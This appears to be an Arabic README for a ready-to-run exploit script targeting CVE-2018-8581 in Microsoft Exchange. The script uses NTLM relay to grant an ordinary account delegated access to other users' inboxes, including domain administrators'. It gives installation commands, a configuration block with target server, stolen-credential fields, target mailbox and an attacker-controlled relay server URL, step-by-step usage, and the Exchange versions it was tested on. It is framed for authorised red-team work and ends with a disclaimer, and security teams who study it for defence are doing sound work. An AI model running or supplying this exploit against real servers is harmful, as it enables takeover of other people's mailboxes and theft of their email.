
CVE-2018-8581 | ثغرة رفع الامتيازات في Microsoft Exchange Server
هذه ثغرة تتيح الحركة الجانبية ورفع الامتيازات على مستوى البريد الإلكتروني.
يمكنها، بعد امتلاك كلمة مرور حساب بريد إلكتروني بصلاحيات عادية، إتمام الاستيلاء عبر التفويض على صناديق الوارد لمستخدمين آخرين (بما في ذلك مسؤولي المجال).
سكربت الاستغلال (EXP) هذا هو نسخة معزّزة بضغطة واحدة، تم تعديلها بناءً على الـPoC الأصلي. بعد ضبط المعاملات ذات الصلة، سيقوم تلقائيًا بإضافة التفويض وحذفه على صندوق الوارد (inbox) للبريد المستهدف، وذلك لتسهيل قيام قسم الأمن لدى العميل والفريق الأحمر بمحاكاة هجوم على المؤسسة المصرّح لها.
الـPoC الأصلي كان يتطلب استخدام سكربتين معًا لإتمام عملية إضافة قاعدة استلام الرسائل، وهو ليس عمليًا في العمل الفعلي للفريق الأحمر لدى العميل. كما أن الـPoC الأصلي لم يكن يتطلب البريد الإلكتروني فقط، بل يتطلب أيضًا تعيين SID لمستخدم البريد المستهدف. لكن الطريقة المذكورة في المقال للحصول على SID المستخدم، لم أتمكن من إعادة إنتاجها بنجاح في بيئتي الفعلية عند اختبار Exchange Server 2010 و2013 (إصدار 2010 لا يوفر خيار التشغيل ذا الصلة، بينما يعطي إصدار 2013 رسالة عدم الصلاحية). في النهاية، كانت فكرتي هي الحصول على SID لمستخدم البريد المستهدف عن طريق تنفيذ تفويض عكسي أولاً ثم إزالة التفويض.
ثبّت python-ntlm
pip install python-ntlm
قم بتكوين المعاملات ذات الصلة من خلال الكود التالي داخل السكربت
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
شغّل السكربت، ثم ارتشف كوبًا من شاي الغوجي، وانتظر دقيقة
![]()
عند هذه النقطة تم تفويض صندوق الوارد (inbox) الخاص بـ TARGET_EMAIL إلى CONTROLLED_EMAIL بنجاح
اعرض صندوق الوارد للبريد المستهدف في OWA أو Outlook
img2
غيّر FLAG إلى 0، ثم شغّل السكربت مرة أخرى، وارتشف كوبًا آخر من شاي الغوجي، وانتظر دقيقة أخرى، وبهذا يمكن إزالة التفويض المضاف مسبقًا
img3
لم تعد لديك صلاحية الوصول مرة أخرى
Python 2.7.14
Exchange Server 2010 (مستقر نسبيًا، والاختبارات على معظم خوادم Exchange Server 2010 تنجح)
Exchange Server 2013 (قد يفشل بسبب اختلاف البيئة)
Exchange Server 2016 (قد يفشل بسبب اختلاف البيئة)
يمكن تعديل المزيد من طلبات EWS SOAP API داخل الدالة make_relay_body().
في تجربة محاولة استغلال هجمات ترحيل Net-NTLM hash ضد مضيفين آخرين لا تتطلب توقيع SMB، وجدت أن جميع الـhash التي تم الحصول عليها كانت من Exchange Server... ربما يمكن استخدامها لشن هجوم ترحيل عبر البروتوكولات ضد Exchange Server في حال تعطيل توقيع SMB عليه، لكن من النادر جدًا مواجهة مثل هذه الحالة.
السكربت مخصص لأغراض التعلم والتبادل فقط. يرجى من المستخدم الالتزام بالقوانين المحلية ذات الصلة. إذا تم استخدامه لأغراض أخرى، فإن المسؤولية القانونية لا تقع على المؤلف إطلاقًا، وتنزيله واستخدامه يعني موافقة المستخدم على وجهة النظر المذكورة أعلاه.